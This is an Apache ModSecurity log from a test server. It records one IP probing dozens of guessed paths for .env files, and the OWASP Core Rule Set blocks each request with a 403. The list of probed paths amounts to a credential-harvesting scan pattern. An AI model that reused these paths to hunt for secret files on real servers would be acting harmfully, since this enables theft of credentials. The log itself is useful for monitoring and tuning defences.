[Thu Feb 26 01:03:18.510239 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDAAAAAQ&quot;]
[Thu Feb 26 01:03:18.526526 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/node-manager/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpwAAAAI&quot;]
[Thu Feb 26 01:03:18.526800 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpwAAAAI&quot;]
[Thu Feb 26 01:03:18.526974 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlpwAAAAI&quot;]
[Thu Feb 26 01:03:18.539117 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/core/tests/dotenv-files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDQAAAAQ&quot;]
[Thu Feb 26 01:03:18.539527 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDQAAAAQ&quot;]
[Thu Feb 26 01:03:18.539769 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDQAAAAQ&quot;]
[Thu Feb 26 01:03:18.566525 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /st-js-be-2020-movies-two/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqAAAAAI&quot;]
[Thu Feb 26 01:03:18.566823 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqAAAAAI&quot;]
[Thu Feb 26 01:03:18.567005 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqAAAAAI&quot;]
[Thu Feb 26 01:03:18.574374 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/gameprovider-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDgAAAAQ&quot;]
[Thu Feb 26 01:03:18.574644 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDgAAAAQ&quot;]
[Thu Feb 26 01:03:18.574856 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDgAAAAQ&quot;]
[Thu Feb 26 01:03:18.599982 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDwAAAAQ&quot;]
[Thu Feb 26 01:03:18.600260 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDwAAAAQ&quot;]
[Thu Feb 26 01:03:18.600438 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIDwAAAAQ&quot;]
[Thu Feb 26 01:03:18.623961 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stackato-pkg/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqgAAAAI&quot;]
[Thu Feb 26 01:03:18.624314 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqgAAAAI&quot;]
[Thu Feb 26 01:03:18.624511 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stackato-pkg/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqgAAAAI&quot;]
[Thu Feb 26 01:03:18.628484 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/resources/archetype-resources/__rootartifactid__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEAAAAAQ&quot;]
[Thu Feb 26 01:03:18.628755 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEAAAAAQ&quot;]
[Thu Feb 26 01:03:18.628934 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEAAAAAQ&quot;]
[Thu Feb 26 01:03:18.655871 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/renderer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEQAAAAQ&quot;]
[Thu Feb 26 01:03:18.656114 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEQAAAAQ&quot;]
[Thu Feb 26 01:03:18.656273 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEQAAAAQ&quot;]
[Thu Feb 26 01:03:18.663121 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqwAAAAI&quot;]
[Thu Feb 26 01:03:18.663364 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqwAAAAI&quot;]
[Thu Feb 26 01:03:18.663534 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stag/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlqwAAAAI&quot;]
[Thu Feb 26 01:03:18.696118 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/controller/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEgAAAAQ&quot;]
[Thu Feb 26 01:03:18.696362 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEgAAAAQ&quot;]
[Thu Feb 26 01:03:18.696521 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEgAAAAQ&quot;]
[Thu Feb 26 01:03:18.742003 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIEwAAAAQ&quot;]
